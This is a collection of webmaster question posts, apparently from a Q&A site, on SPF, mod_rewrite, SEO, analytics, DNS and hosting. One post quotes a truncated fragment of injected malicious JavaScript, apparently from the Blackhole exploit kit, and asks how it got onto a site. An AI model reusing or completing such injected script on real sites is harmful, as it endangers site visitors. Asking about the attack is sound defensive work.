I have a client who has their e-mail hosted with Network Solutions and some of the e-mails they are sending are going to spam. I've searched Google for information on network solutions and SPF records but all the results have to do with "how to set up an SPF record" - which I understand how to do. The problem is that I can't find any information about what SPF records to use for network solutions hosted e-mail. I even tried lookup up spf records on `networksolutions.com` but it appears there are none. Where can I find SPF record information for Network Solution hosted email?


Mod Rewrite not working on my addon domain

have a wordpress website on my main domain For the wordpress website i have this in my .htaccess file               # BEGIN WordPress     <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteCond %{REQUEST_FILENAME} !-f     RewriteCond %{REQUEST_FILENAME} !-d     RewriteRule . /index.php     </IfModule>          # END WordPress      I just created an addon domain and wanted to use new rules for it I created a .htaccess file and put it inside the addon folder eg /newaddon In the .htaccess file i have:               Options -Indexes          <IfModule mod_rewrite.c>     RewriteEngine On     RewriteBase /     RewriteRule ^readjob/(.*)/(.*)/(.*)/$ readjob.php?id=$1&cat=$2&title=$3     </IfModule>      The url stucture i have is this: **http://www.website.com/readjob/3/jobs/web-designers-potech-integrated- services/** But it keeps telling me link is broken I dont know what to do, pls i need assistance (pls i just learnt mod rewriting today, so clarity will be highly appreciated) Thanks


Cloud hosting pay per hour, but Google robot crawls almost 24/7

Correct me if I am wrong: We see cloud hosting is payable per hour, only when the site is accessed, but knowing Google robot crawls the website almost every minute, we still end up paying full price monthly. If I am right, then what's the point of subscribing to cloud hosting that is paid hourly instead of monthly?


How can you create text as a png file to minimize file size?

I've seen this trick on lots of websites, but I don't know how I could create this myself easily. It's basically text or a logo which is saved on a transparent background with a small border, to minimize the file size. * * * For example on **Postmarkapp**, they have this transparent logo, with a yellow border: ![Postmark logo](http://postmarkapp.com/images/landing/logo.png) and there are a lot more of these examples on the web. * * * What's an easy way to create such a png file with a small border so your text or logo will seamlessly blend into the background color?


How did this malicious code get into a site?

This question was recently posed on another forum I am apart of. Two sites that the person maintains had malicious code on the site the code is as follows:               <script>var date=new Date();function lols(){return true}     window.onerror=lols;function getXmlHttp(){var xmlhttp;try{xmlhttp=new     ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{xmlhttp=new      ActiveXObject('Microsoft.XMLHTTP');}catch(e){xmlhttp=false;}}     if(!xmlhttp&&typeof XMLHttpRequest!='undefined'){xmlhttp=new      XMLHttpRequest();} return xmlhttp;}...(not pasting full code unless requested)      From what I can tell it is the Blackhole Exploit Script (Info here and here) In your opinion what is the most likely way that the code was embedded onto the site? And what steps should be taken to 1) prevent future malicious code 2) to ensure that the computers are clean?


phpmyadmin and 1MB post data

In php.ini I have set php to allow 7MB POST data size. But when I used phpmyadmin to save 1MB data of text into a field, it just listed all the record from the parent table and did nothing to the record which supposed to be changed after I pressed the "save" button. Is this a limit of phpmyadmin? What can I do to solve the problem?


Hostmonster can't change domains around?

**(question imported fromhttp://superuser.com/q/204439/53847 )** Horrible title, but I couldn't think of a succinct way to summarize it to fit. I have HostMonster for my web hosting. I have several domain names under the same account (using the same web space, IP address, etc...). Every HM account has one domain set up as the "main domain", and all other domains are "secondary". The only way I have ever encountered this being an issue is in trying to use HTTPS - since (from my limited understanding) HTTPS encrypts headers, you can't route HTTPS requests to different virtual hosts on a server - only unencrypted requests, since it must look in the request to know where to route it. When I registered for my account, I only had one domain name (A). I have since added domain names (B), (C), (D), etc... At one point I switched domain name (B) to be my "main" domain name - so I could use HTTPS with it. I have since sold domain name (B), and would like to make domain name (A) my "main" one again (as it was before), but HM support says, "no, once a domain name has been a 'main' domain name on an account once, we can't set it up to be a 'main' domain name again. You're welcome to use domains (C), or (D), though.". They tell me the only way to reuse domain (A) as a "main" domain would be to set up a new account and transfer over all my files. I'm confused here. If I have domains (D), (E), and (F), they say I'm welcome to make one of them my new main domain name, just never (A) again, since I've already "used" it once. Calls to support only reveal that they can't let me do it because doing so would somehow "break" my account. Can anyone think of any good reason why this should be so? The only thing I can think is that maybe they're using the domain names as keys in some database or something? But if that's the case, that's ridiculous - they need to reorganize their databases!


Organizing google Analytics accounts

It seems that when logged in to Google Analytics, you can create "Accounts", as well as "Profiles". Websites can be tracked under each of these. If you are wanting to track multiple websites, some personal, some client, is there a useful arrangement of analytics accounts and profiles? Is it all of one or of another, or some particular combination?


Google Analytics Goal tracking external referrals

I have goal tracking setup on my site for a target url. It works insofar as it tracks all pageviews on my site leading up the goal. But it doesn't appear to be tracking the external referrer that the user came from initially, marking it as (entrance) and the step before that (not set). Is this standard behaviour for goals not to record external referrer and how can I add referrer tracking to my goal?


Is linked text searchable by crawlers?

I recently created a simple website for a web-app I made. The site and the app are both mobile oriented, so there is a limited amount of room for adding text content (I designed the interface to avoid page scrolling) for various web crawlers to pick up on. As a solution, I want to create a small "link" that will render a dialog box with a site description. I'm new to SEO, so I'm not sure if it will work or if it's considered illegitimate practice. So, is what I described: 1) A legitimate way to add keywords to the site? (i.e. not 'keyword stuffing') 2) Searchable by web crawlers, even if the site description text only appears in the JavaScript? 3) If web crawlers don't "sniff" dynamic JavaScript-generated text, would it be a better idea to enter the text into the HTML directly, and make the link show/hide the element holding the text? Thank you for your help.


Avoid Copyright Infringment through hotlinking

I am planning to run an image site similar to this one, and what I've noticed is that every single image there are hosted externally through inline-linking. Is this a way to avoid copyright infringements? Because upon following up, that's the impression I got from these links:               http://en.wikipedia.org/wiki/Inline_linking#Copyright_law_issues_that_inline_linking_raises     http://webmasters.stackexchange.com/questions/25315/hotlinking-what-is-it-and-why-shouldnt-people-do-it     http://www.dmlp.org/legal-guide/linking-copyrighted-materials      where they states things like > "United States Court of Appeals for the Ninth Circuit explained why inline > linking did not violate US copyright law: .... Google’s computers do not > store the photographic images " > > "It allows you to link to an asset without copying it, avoiding copyright > infringement. Additionally, hotlinking keeps the asset in the original > owner's control."   >   >  "embedding media in your online work should not expose you to legal > liability"


cPanel SSL installation

I've tried transferring SSL issued by GoDaddy to Linux based server. The website was originally hosted in Windows. After the installation is completed, I got a message like this in cPanel:               Certificate ID: ***********     Domains: xxxxsomethingxxxxx.com     Issuer: GoDaddy.com, Inc.     Key Size:   2,048 bits     Expiration: Feb 10, 2015 10:05:10 PM      Does that look fine? Does the `Issuer` still remain as GoDaddy? Now how do I test to see if this is in fact working? After installing the SSL in the Linux server, do I now need to do something in GoDaddy or in the previous Windows server to indicate that the SSL has now been transferred to the new server?


Google Analytics: why does search input have less clicks than the submit button?

I recently added Enhanced Link Attribution to my site and was looking over some of the data. I noticed that the search input box had 1% of the clicks, and the submit button had 14% of the clicks. This seems like a large difference that it can't be visitors just clicking the search button without entering any search data. The only possibility I can think of is that the 1% of clicks on the search input doesn't represent people clicking into the search input, but rather it shows the number of times someone has used the search input and used the 'Enter' button to submit. Does Google Analytics track this as a different click than actually clicking on the submit button?


Replicate Rackspace Cloud for Disaster Recovery?

Does anyone know how, if possible, I can replicate a Rackspace Cloud instance X to another instance, Y, for disaster recovery? So if cloud X goes down or has a problem the website will be served from instance Y. If replication isn't possible or the best option what is? Such as using both machines in parallel and having requested routed to one or the other - and if X goes down, Y is used. Thanks Ric


Microformatting Questions & Answers - Semantic web 3.0?

With the introduction of the Semantic Web we (SEO's) have the opportunity to mark-up our content in such a way that robots/crawlers have a better understanding about the meaning of our content. And, we (SEO's) are keen on presenting our website's content in such a way it matches the search query of the Google (or Bing or Yahoo) user in the best possible way. On the Search Engine side engineers are keen on providing search results that provide the best match and information related to the search query that is being used. Thus, the introduction of the rich snippet. And this might very well be the development in the transition from Web 2.0 to Web 3.0? When it comes to internet users: There is an enormous amount of people that use search engines because they have a question and they are looking for the right answer to that question. As a response we now have a wide variety of question and answer (Q&A) websites for a wide variety of topics. To me the logic next step would be to use a semantic markup that tells a robot/crawler what is a/the question and what are answers to that question. Even cooler is the fact that the community of a specific Q&A website is able to rate (e.g. by up- or downvote or starred rating) a certain answers and can mark a question as 'the correct answer'. The search engines could interpret the markup and create a SERP containing rich snippets pointing out the Q&A. Now, doesn't that provide the opportunity to present the search engine user with a search result that:   1. Matches the question;   2. Provides a title and description of the question;   3. Provides the top 'x number' of answers / best rated answers;   4. Provides the correct answer. The snippet could look (For Example!) like this: ![Question and Answer Rich Snippet](http://i.stack.imgur.com/WudU8.png) It goes without saying that the formatting of the snippet can have many varieties, but thats not really up to me ;) I have done some research and I cannot find any markup or microformatting that support Q&A semantics within a website. Is this something that is around and that I am simply missing? Or is it coming up? To me it seems perfect to have the correct answer to your question directly visible and accessible through from SERP's rich snippets...


Does Submit to Index on a page with new content update Content Keywords for the site?

Using Google Webmaster Tools I'm trying to update the `Content Keywords` of my site. I'm confused about the relationship between `Submit to Index` and `Content Keywords`   * Does `Fetch as Google` --> `Submit to Index` on a previously existing indexed page containing new content expidite updating the `Content Keywords` crawled by the _real_ Google bot?   * Does `Submit to Index` only submit new URL's so that previously indexed URL's still point to the older cached version until Google crawls specifically for new content on its own?   * Does `Submit to Index` have anything to do with `Content Keywords` or crawling new content being a previously indexed page or never been indexed page?


Yandex frequently replaces page names with ampersands

The Yandex spider is a frequent visitor to one of the sites I manage. On occasion it replaces the page name with two ampersands and a space. So if the page is:               /mypage.aspx?param=value       then it will try and crawl it as:               /&& ?param=value        Any idea why it is doing this? EDIT:   If I remember correctly the IP that this _mistake_ is coming from is based in California and not Russia. I believe that they crawl US sites from a US based IP address. Not sure if that helps. More information about the request:               IP: 199.21.99.82     City: Palo Alto     State: California     Country: United States     ISP: Yandex Inc.     User-Agent: Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)


Standard Deviation of Custom Variable in Google Analytics

Given a custom variable taking two values demarcating two potential alternative designs for a page, is it possible to extract standard deviation or other measures of distribution for metrics (pages/visit and duration/visit specifically) for those pages? Yes, I know content experiments is far better suit to this type of problem, but for undiscloseable reasons, CE is not an option.


Web applications vs. Websites

Hello all I'm an android developer just into web development. This Discussion here has me pretty confused. Here are some questions   1. For a social network say, should it be a web application or a website?   2. Any differences in the Development process of a website and a web application?   3. Thanks for bearing with me;) Regards


Do search engines index mailto and tel links?

I have a website that allows users to display their email address and contact number on their public profile page. These would be in link format, example:               user@email.com     +123456789      I was wondering if it is necessary at all to add a `rel="nofollow"` tag to these. Do search engines follow and index these?


How to store images of WordPress on Picasa or other image hosting sites?

What is the best way to start a photo blog with WordPress, so that images are stored in Picasa, by image I mean image in **all sizes** , **thumbnails** , **featured images** and so on. The problem is that there is a big limitation with space in host, I don't want to store images there.


Is it possible to force a directory index to display even if an index file exists?

On my Apache server I need to display a directory index of a given folder even if it already contains an index file that has been defined in DirectoryIndex. In this case an index.html file exists, but I need to display a directory listing instead. This has to be a directory specific override because the rest of the server must continue to use the index files as expected. At the moment I am setting the directory paths and configurations inside a VirtualHost, but I cannot find a way to remove predefined file names from the DirectoryIndex directive. The configuration successfully displays an index as long as an index file does not exist, but when entering a folder with an index file this file is loaded instead. Any help that can be offered would be greatly appreciated. Thanks!


Using microdata itemprop and itemtype for non-English websites

How should I use microdata `itemprop` and `itemtype` for non-English websites? Is there a way to define vocabulary for non-English websites, and what `itemprop` values can be used? Are `itemprop` values self defined or some vocabulary must be defined first?


Email Widget: Capture Email Address Upon Leaving

Can anyone recommend a widget (or service) that I can integrate into my PHP site to prompt a user for their email address upon leaving my site? I'm also open to suggestions as to whether its best once a user first comes to the site to ask for their email or upon leaving the site. Thanks for your time and assistance.


How to fix page lag on load

I have a problem with my website, when you load the index page , the headers load fine but the main content appear with a delay between each photos. The error is only on the index because there is alot of contents. Thank you very much, waiting for answers. Link : http://www.kinouk.com


Any good service where I can see if a domain is blacklisted by Google or not?

I have found a site from one of my friend said that this link is forwarded by godaddy support. http://onlinealley.com/seotools/googlebannedchecker/ But I don't think its result is right because i have a domain which is working right and well indexed its showing is banned. Also i have checked for couple of domains which are open for registration is also saying banned by that site. Can you recommend any other service that gives right information? That will help me when buy domains from auctions or already registered. Thanks!


Removing URL styles with CSS + SEO

I want to display a grid of images 4x4 with thumbnails and a title above each of them. I want to highlight the thumbnail and title and add a hyperlink to it. This works well in our CMS. I would like to therefore know if styling the URL using CSS will cause a negative impact to SEO?


How to get this fancy editor Wikipedia uses into our own MediaWiki installation

Really, sorry, if this question seems as if I'd be too lazy to google, but I tried to find that out myself and failed: What's the name of the extension for MediaWiki or whatever would I have to use to get this nice and fancy editor that Wikipedia uses into my own MediaWiki installation? I already use the newest MediaWiki version (1.17.0) but still have these ugly and pretty useless buttons on top of my edit pages.


Should I be 301 redirecting query strings in shopping carts?

Should I redirect query strings in a shopping cart discovered by Google Webmaster Tools, which we don't want to show up there. Should we 301 URL like this? > **example.com** = **shop.ask** > &product_id=31&subject=Call+for+Pricing%3Aproductname%3B%80%93&option=com_ > **virtuemart** &Itemid=146 What I thought was, what if this URL indicates a customer's purchase? I mean he selected a product, came to the checkout page and suddenly he's 301 back to product page where he started? Could this happen? What do you advise me to do?


DNS A Records with 1and1 and Heroku

I have a domain name registered through 1and1.com that I'd like to point to my Heroku app (mydomain.com and www.mydomain.com).   Heroku's instructions (http://devcenter.heroku.com/articles/custom-domains) say: > Root domains (mydomain.com) must use A records To setup your root domain, > add separate A records for each of the following addresses using your DNS > management tool: 75.101.163.44, 75.101.145.87, 174.129.212.2 However 1and1 only allows one A record IP. Is it sufficient to pick one of Heroku's three IPs, or is there a different way that I should set this up? Thanks


Why Are My Facebook 'Likes' Disappearing?

![I'm sure my website has 21 likes, and when the page is still loading it shows 21 likes under the Twitter button](http://i.stack.imgur.com/n5hsD.png) If you look at my website, it shows only one Facebook Like, but while the page is loading it sometimes shows more; and I'm sure there are at least 20. Any ideas?


Duplicate content on a site

I have a site for a client. He has content he has written on a page and it looks great. He now wants _some_ of this content on another page, under another heading that contains a collection of his writings. In my understanding this would be duplicate content for the block that is copied. I could block the first page but it is built specifically for that piece of writing. The page with the collection of writings also contains unique writings so I do not want to block that page. Is there anyway to tell Google: "Ignore this `div` of content but use the rest"? What is the best route here? I am thinking of explaining to my client the situation of duplicate content and not adding it unless I can do it without any SEO penalties.


Is it worth to redirect images folder through .htaccess even if changes done in path to show on front end?

I am considering to move my images from folder `site/userimages` to subfolder `site/images/userimages`. The changes will be done in PHP files regarding the path change so that images do continue to show up on the main board of the site, however is it well reqd to show to search engines that the path folder is changed. I mean as the images will keep on contuing to show on the front end of the page. Is it also important to let search engines know that the folder has moved to a subfolder in the site through .htaccess redirect. Note: the images are well indexed by search engines.


Joomla 1.5 to Wordpress 3.1 migration: how to redirect Joomla's permalinks

I'm migrating a Joomla 1.5 site to a WordPress 3.1 site (I will later update to WP 3.2.x) and I've found the right tool to do it, a plugin called Joomla 1.5 Importer. There is another plugin called Joomla/Mambo To WordPress Migrator that works better except for one problem: there's no way to correct the database charset. The site is in Spanish, and some special characters are not shown correctly. After usin the Joomla 1.5 Importer I've got my posts in place, but there is a permalink issue. Our current Joomla site has a permalink structure that includes the article's id:               http://www.myjoomlasite.com/tech/news/8182-title-of-the-article.html      But after applying the plugin the WordPress' article permalink is the following:               http://www.mywordpress.com/tech/news/title-of-the-article.html      You see? There's no number at the beginning of the last part of the permalink. I guess I would need a Rewrite Rule in Apache for my .htaccess to solve the issue, but I don't know what would be the right one. I just need to "delete" the "id-" part of the permalink.


Google Analytics - Profile filter with more than one dimension?

I have identified some bot traffic in GA, but to filter it accurately I need to filter it by two dimensions, namely Browser and ISP To be clear, I don't want to apply both a filter to block the entire ISP and the entire Browser segments, but only the combination of the two To illustrate: ![ga profile filter by two dimensions](http://c714091.r91.cf2.rackcdn.com/87cff1afa51dfe665e62b5dbb0c22e0345557e0918.png) Could someone explain how to do this? It's not apparent using the interface and I'm not able to find any documentation about it


How can I place keywords at the begining of a title and have it look natural?

As per this question, the first word in the `<title>` tag is usually treated with more importance than the rest of the `<title>` tag. How can I write naturally looking titles with the keyword that I'm targeting being the first word in the title, without resorting to doing something like this: `keyword - real title`?


Connecting oci8 to Apache & PHP

We're building a Debian server to host a website which is built on PHP. It connects to an Oracle database. I need to connect the PHP to the Oracle database using oci8. However, some of the steps I've seen online require the use of oracle-xe-client package. I cannot find this package at the moment. Any help or advice about the process is appreciated!


How often are sitemap.xml checked for updates by crawlers?

How often do crawlers check for updates in submitted `sitemap.xml`? Every hour, day, week, month, more?


Best method to avoid link juice dilution when a page has lots of links

I have a page where there are say above 500 links. Most (484 of them) are all stacked in 2 table cells. They all point to a search result with each link showing a different search result. What is the best way to improve SEO for this page? One idea that I think is good is by loading up only few links initially then utilize JS to load the additional links on the fly based on certain events in order to improve both usability and SEO.


Is it bad SEO to embed an img tag in the middle of a sentence?

I recently received a web mockup that included a sidebar with a short paragraph of narrow text; a quote from a person. At the end of the quote, the mockup had a circular portrait of the person floated to the right, hanging off the edge of the block, with the text flowing around the edge of it. It looked like this, where "TEXT" is the text, and "o" is the portrait               TEXTTEXTTEXTTEXTTEX     TEXTTEXTTEXTTE      TEXTTEXTTEXT   ooooo     TEXTTEXTTEXT  ooooooo     TEXTTEXTTEXT  ooooooo                    ooooo      The easiest way to do this would be to put the tag for the portrait somewhere in the markup of the text, and float it right. But the HTML will look like, in that case: `TEXTTEXTTE<img src="..." style="float: right;">XTTEXTTEXT` and I fear this would be bad for SEO. Does anyone know? The other option is putting the at the end, absolutely positioning it, and using manual line breaks -- which sucks for my responsive design.


Google Apps (free) domain locked out after trial expired for G. Apps Business

I signed up for a free trial for google apps business for my domain, but decided that I didn't need it. Let it expire, and now can't log in to the domain any more. I did get one message saying that the domain was on hold due to billing issues, and that I needed to downgrade, but there was no link to do the downgrade. I accidentally signed in as another user while in the control panel, and now I can't get back in as any user.


Google adsense and dynamic pages

I want to show Adsense in search results that come from my database. How could google adsense bot determine what ads to show? Does it do so on the flow, i mean, there is no previous page it can visit to determine keywords if the results are dynamic. What should i do in order Adsense shows relevant ads?


Zen Cart - different banners for each page

I have a zen cart shop with a costumized template and for now there is a slideshow gallery under the header. I need to keep this gallery for the first page only, but on all the other pages there should be distinct banners instead of the gallery, relative to the visited page. e.g. on the "about us" page there should be banner_aboutus.ext, contact => banner_contact.ext and so on. Please help me do this. Thanks in advance


Apache2 only first virtual host is working

i have a probelm with this configurations, only the first virtual host is working and other under the same domain point to the first www.firebuggger.com). do you guys have a clue?               NameVirtualHost *:8080          <VirtualHost *:8080>     ServerName www.firebuggger.com     DocumentRoot "/home/eben/domains/firebugger.com/html"     </VirtualHost>          <VirtualHost *:8080>     ServerName blog.firebuggger.com     #ServerAlias blog.firebuggger..com     DocumentRoot "/home/eben/domains/blog.firebugger.com/html"     </VirtualHost>          <VirtualHost *:8080>     ServerName www.firebuggger.com     #ServerAlias firebuggger.com     DocumentRoot "/home/eben/domains/firebugger.com/html"     </VirtualHost>               <VirtualHost *:8080>     ServerName wordpress.firebuggger.com     DocumentRoot "/home/eben/domains/wordpress.firebugger.com/html"     </VirtualHost>


Different urls to same page and redirect

I have 3 urls leading to same page // as most pages are in google, my previous website's version               http://mysite.com/1234.aspx      // shortcut               http://mysite.com/1234      // SEO url               http://mysite.com/1234/state/city/company-name      Should i put a permanent redirect in the first two urls so google considers it one page and not as 3 different pages? Any tips welcome.


Open source client portal software?

I'd like to provide my clients a portal to view status, mockups, links to resources, etc... I don't need anything terribly complex, but I would rather grab something that's already out there than write it myself right now (plenty of client work to do!). Any ideas? Suggestions? Edit: Web development for fairly small busineeses. These are typically 3-6 month projects with 2-3 iterations per month. It's really just to demonstrate progress in an orderly fashion.


Why would a Google AdSense application be rejected due to illicit drugs on my blog?

According to Eligibility to participate in AdSense one needs to own a website for at least six month before he can use the AdSense service by Google. In some people's experience the same does not apply to blogs (especially blogger). So in order to test the process I performed a small experiment. I created a blog with a single post that contained some random IT related jokes taken from the internet and within 4 5 hours applied for an AdSense account through blogger. As expected I received a mail from Google on the same day saying that your account could not be activated. I was expecting them to say something like "your blog should be at least 6 month old" or "No original content found" but the reply was shocking. Here's the screenshot of the received mail. ![](http://i.stack.imgur.com/n2d0U.jpg) The very first reason that they gave was that the site promotes **illicit drugs, prescription drugs, drug paraphernalia, sales of hard alcohol, tobacco, or tobacco-related products**. The second reason- insufficient content is a valid one but I wonder what could be the reason behind this this kind of weird reasoning? This is not the complete screenshot the rest of the email discussed that there was not enough content and had links to Google's policies.


Is there a legal way to serve data-dump content without incurring search engine penalties?

I have a games site and I'm writing an API that will pull relevant Q&A from my copy of the SE data dump. I will abide by all licensing rules. That said, I'm hesitant to do this because Google will penalize my site for serving duplicate content. Is there a legal way to serve data-dump content, while abiding by licensing terms, without incurring search engine penalties? I want to serve this content, but I don't want to compromise the main function of my website. I plan to use Google API to translate content to my native language. I will not serve the content in English.


Create single HTML file from many HTML files by keeping header, sidebar & footer section common

I don't know whether I am missing a trick in HTML. I have one simple HTML website which has over 100 HTML pages. For each page the header, sidebar & footer section are the same but the content is different. Can I simply make this site like Wordpress where the page is formed by header.php, footer.php, page.php & sidebar.php. I know I will still have to work on page.php kind of files. This will simplify the file structure of the site. Also I want to know whether this solution is good in SEO perspective or not.


Do Yahoo! and Bing also support pretty AJAX URLs like Google's bot does?

I wonder if Ajax crawling suggested by Google is also applicable to Yahoo and Bing. It seems that only Google can crawl my Ajax page after I implemented that.


Sitemap change frequency

I'm sitemapping all my forum topics. It works great:               <url>          <loc>http://127.0.0.1/scirranew/Forum/Breaks-and-slowdowns-Vram-200_topic32854.html</loc>          <lastmod>2010-11-06</lastmod>          <changefreq>daily</changefreq>          <priority>0.7</priority>      </url>      However, with change frequency, this totally depends on how long ago the last reply was. Is it ok, to dynamically generate these values, or should I leave this XML tag out completely? IE, I was planning on doing: If last reply date was:               < 1 hour ago = always     < 1 day ago = hourly     < 1 week ago = daily     < 4 weeks ago = weekly     < 12 months ago = monthly     else yearly      Thanks for any tips!


Can't get menu working the way I would like to in Drupal 6

My apologies up-front, as I've asked this question already on Doctype.com, but figure that this site is more appropriate. I've been trying to wrap my head around Drupal's menu system, with little progress. I've just started working with Drupal having come from using DotNetNuke. Please, please, please help me understand this! The website has some backend functionality for authenticated users, and the following menu hierarchy resembles what the public-facing menu should look like: * * *   * Home   * About Us   * Services      * Counselling     * Career Guidance   * News      * Chairman's Speeches     * Community News     * Gallery   * Contact Us * * * Before I continue, let me say that every item above is associated with a node of content-type "page". Now, I have successfully got the "Nice Menus" module working, having created a new menu called "Default Menu" prior to that and adding only only one item called "Home" (linked to `<front>`). Thereafter, as I started creating my pages, I added it to the menu (and placing it in its rightful place in the menu hierarchy). However, my issues are 3-fold:   1. ~~I would very much like for the hierarchy to be followed in my URLs, which I would like to look like: **`www.mysite.com\services\counselling`**. Furthermore, when I remove the word _`counselling`_ from the URL, it should redirect me to the page for _`services`_.~~   2. ~~Similar to the point above, but instead, how do I get my menu working with the breadcrumb? It stays on ** _Home_** no matter which page I navigate to!~~   3. Lastly (this is more advice that I ask for), the first 2 links under **News** are essentially stories with either `chairman-speeches` or `community-news` as Tags. Is it possible that when a user clicks on **Chairman's Speeches** (for instance) that they can be redirected to a page that shows only stories tagged with `chairman-speeches` and similar for **Community News**? Sorry, this is a long post, and I AM a noob to Drupal and still trying to learn the ropes. I know Drupal has a steep learning curve, and believe me - I intend to sit and understand as much of it as possible. For now though, I would really, really appreciate your help with my issues above. In advance, THANK YOU ever so much! ## EDIT:   1. I've managed to sort out my second issue of the breabcrumb-menu-linking by using the Menu Breadcrumb module...works like a charm!   2. Going back to my first point, what I aim to achieve is exactly like what is on http://amnesty.org/en/who-we-are/our-people for example...breadcrumb works, and if you delete "our-people" from the URL in the address bar, it will cause you navugate one up to the page for "who-we-are". ## EDIT 2: Er...ok...I feel really thick for not seeing this option before, but I've sorted out my first problem also! If it helps any other noobs out there, when you create a page (and assuming you have the Path Auto module installed) you can manually set the path. So because the path for `www.mysite.com/services` already corresponds to a node, I create my child pages with the path entry: `services/counselling', and voila!


How can I set a 410 redirect in htaccess

I recently upgraded a website from aspx to a drupal site. I never ~~310'd~~ 301'd the old pages which are gone. The old aspx pages are still showing up as 404 error in google webmaster. I have created a new site map for the drupal site when it was launched 2 months ago, and then again recently. Can I create a 410 redirect in the htaccess for all aspx pages like a wildcard? If so how can I do this? thanks in advance


Do Google Apps Standard (free) accounts expire after a period of inactivity?

I have a Google Apps Standard account for a seldom used domain. The domain is mine indefinitely (the Registrar offers this to locally registered charities - I just have to maintain a basic webpage), but the group it was intended for never actually formed. The group may still organise someday, and I would like to keep the account active. I'd like to know how often I need to sign in to the admin console to keep the free account active. I don't sign in very often, maybe once a year or so. Will this expire someday, and what are the minimum requirements to keep it active?


Website directory structure regarding subdomains, www, and "global" content

I am trying to make a homemade HTTP server. It occurs to me, though, I never fully understood what you might call "relativity" among web pages. I have come across that www. is a subdomain, and I understand its original purpose. IT sounds like, in general, you would redirect (is that 301 or 302?) it to a... non-subdomain, sort of. As in, redirecting www.example.com to example.com. I am not entirely sure how to make this work when retrieving files for an HTTP server though. I would assume that example.com would be the root, and www manifests as a folder within it. I am unsure. There is also the question of multi-level subdomains, e.g. subdomain2.subdomain1.example.com. It seems to me they are structured "backwards", where you go from the root left in folder structure. In this situation, subdomain2 is a directory within subdomain1, which is a directory in the root. Finally, it occurs to me I might want a sort of global location. For example, maybe all subdomains still use an image as a logo. It makes more sense to me that there is one image, rather than each having a copy. In the same way, albiet more doubtfully, you might have global CSS (though that is a bit contrary to the idea of a subdomain in the first place), or a javascript that is commonly used. (more efficient than each having its copy and better for organization purposes). Finally, mabye you have a global 404 page. I think this might be the case where you have user-created subdomains (say bloggername.example.com), where example.com still has a default 404 when either a subdomain does not exist or page does not exists under a valid blogger. I am confused on what the directory structure for this should be. To summarize: Should and how it have a global files not in a subdirectory, how should www. be handled, (or how a now www or other subdomain should be handled), and the pattern for root/subdomain, as well as subdomain within subdomains (order-wise). Sorry this is multiple questions, but I feel at the root they are all related to the directory.


Why does IE still save and update files in the temp folder when caching is off?

In IE I changed the cache setting to               "Every time I visit the web page"      However, I noticed in the directory               \Local Settings\Temporary Internet Files      that the files are still being stored in here and updated each time the page is called. Is caching still on? Thank You.


With the following settings shown here, will there be any caching in Firefox?

browser.cache.disk.enable = false     browser.cache.memory.enable = false     network.http.use-cache = true      With the following settings above, will there be any caching in FF? Does the disk.enable and memory.enable set to false override the true setting of use-cache? http://kb.mozillazine.org/Network.http.use-cache Thanks.


Why is loading speed of a website important for SEO?

I see everywhere on the internet how to optimize loading speed of a website but no one says **why** it's important for SEO. Inevitably, there are reasons why Google has decided to take this factor into account when ranking websites.


Clearing all FTP sessions

I am receiving this error: ![enter image description here](http://i.stack.imgur.com/bM6E5.png) I've closed down all of my FTP Clients (I use Panic Transmit + Coda on my Macbook & Filezilla on my other laptop). And I've locked my FTP and unlocked it again from within the control panel. How do I end the session for all users currently connected via FTP to my server? (I'm thinking through Terminal?)


Google analytics e-commerce tracking

I am having issues with Google Analytics eCommerce tracking. On certain days it the eCommerce tracking is returning a value of $1.00 of revenue which is impossible because it is a hotel booking website. I'm am so puzzled and not knowing where to go next with this. Here is some code that might help, I received this from our contact who develops the booking engine. ## This is included on every page _except_ the reservation confirmation page:               <script type="text/javascript">       var _gaq = _gaq || [];       _gaq.push(['_setAccount', 'UA-26956700-1']);       _gaq.push(["_setDomainName", "none"]);       _gaq.push(["_setAllowLinker", true]);       _gaq.push(['_trackPageview']);            (function() {         var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;         ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';         var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);       })();     </script>      * * * This is included only on the reservation confirmation page: (The "${res.xxx}" elements are replaced on the server side with reservation details.)                 <script type="text/javascript">            var _gaq = _gaq || [];            _gaq.push(["_setAccount", "UA-26956700-1"]);            _gaq.push(["_setDomainName", "none"]);            _gaq.push(["_setAllowLinker", true]);            _gaq.push(["_trackPageview"]);            _gaq.push(["_addTrans", "${res.confirmationNumber}", "Sunshine", "${res.grandTotal}", "${res.totalPriceTax}", "", "", "", ""]);            _gaq.push(["_addItem", "${res.confirmationNumber}", "${res.roomType}", "", "", "${res.totalPrice}", "1"]);            _gaq.push(["_addItem", "${res.confirmationNumber}", "Options", "", "","${res.otherChargeChoices.totalCostExclTax}", "1"]);            _gaq.push(["_trackTrans"]);            (function(){             var ga = document.createElement("script");            ga.type = "text/javascript";            ga.async = true;            ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";  var s = document.getElementsByTagName("script")[0];  s.parentNode.insertBefore(ga, s); })();      ##


Legitimate emails from web contact form in Joomla website get marked as spam/phishing by Gmail

I'm using a _Perfect Web_ contact form on my Joomla 2.5 website. The contact form emails all the info when a user fills it in and sends it to my Gmail account which in turn forwards it to my office email account for us to reply. However, I just noticed that the emails are being marked as spam or as phishing by Gmail: > This message may not have been sent by:... And get rejected as spam when forwarded to my office email account. How can I get around this so that all my emails get forwarded?


Which online form builders offer conditional logic/branching?

I have a survey with the following form fields:   1. Country    2. Age   3. Male/Female   4. Undergraduate/Graduate   5. Question?      * Yes     * No   6. If No, what about this and that?      * Yes      * No  Google Forms and SurveyMonkey don't seem to allow things like the above. For question one I could ask, "What country are you from?" with a textbox as an answer section and work around it. But how do I go about creating questions five and six? I am not able to figure out how to do it except for having one more question that says "If your answer to the previous question was No, then blah blah (else skip this question)". Any suggestions, apart from creating my own custom website with JavaScript and a backend database?


Microsoft update site has no SSL

We need to put a link to Microsoft update site. But we come from SSL and Microsoft has no SSL activated for their update site. Is there any common workaround?


Should I be concerned for SEO when hiding images?

I'm using fancybox 2 with the following code (demo here):

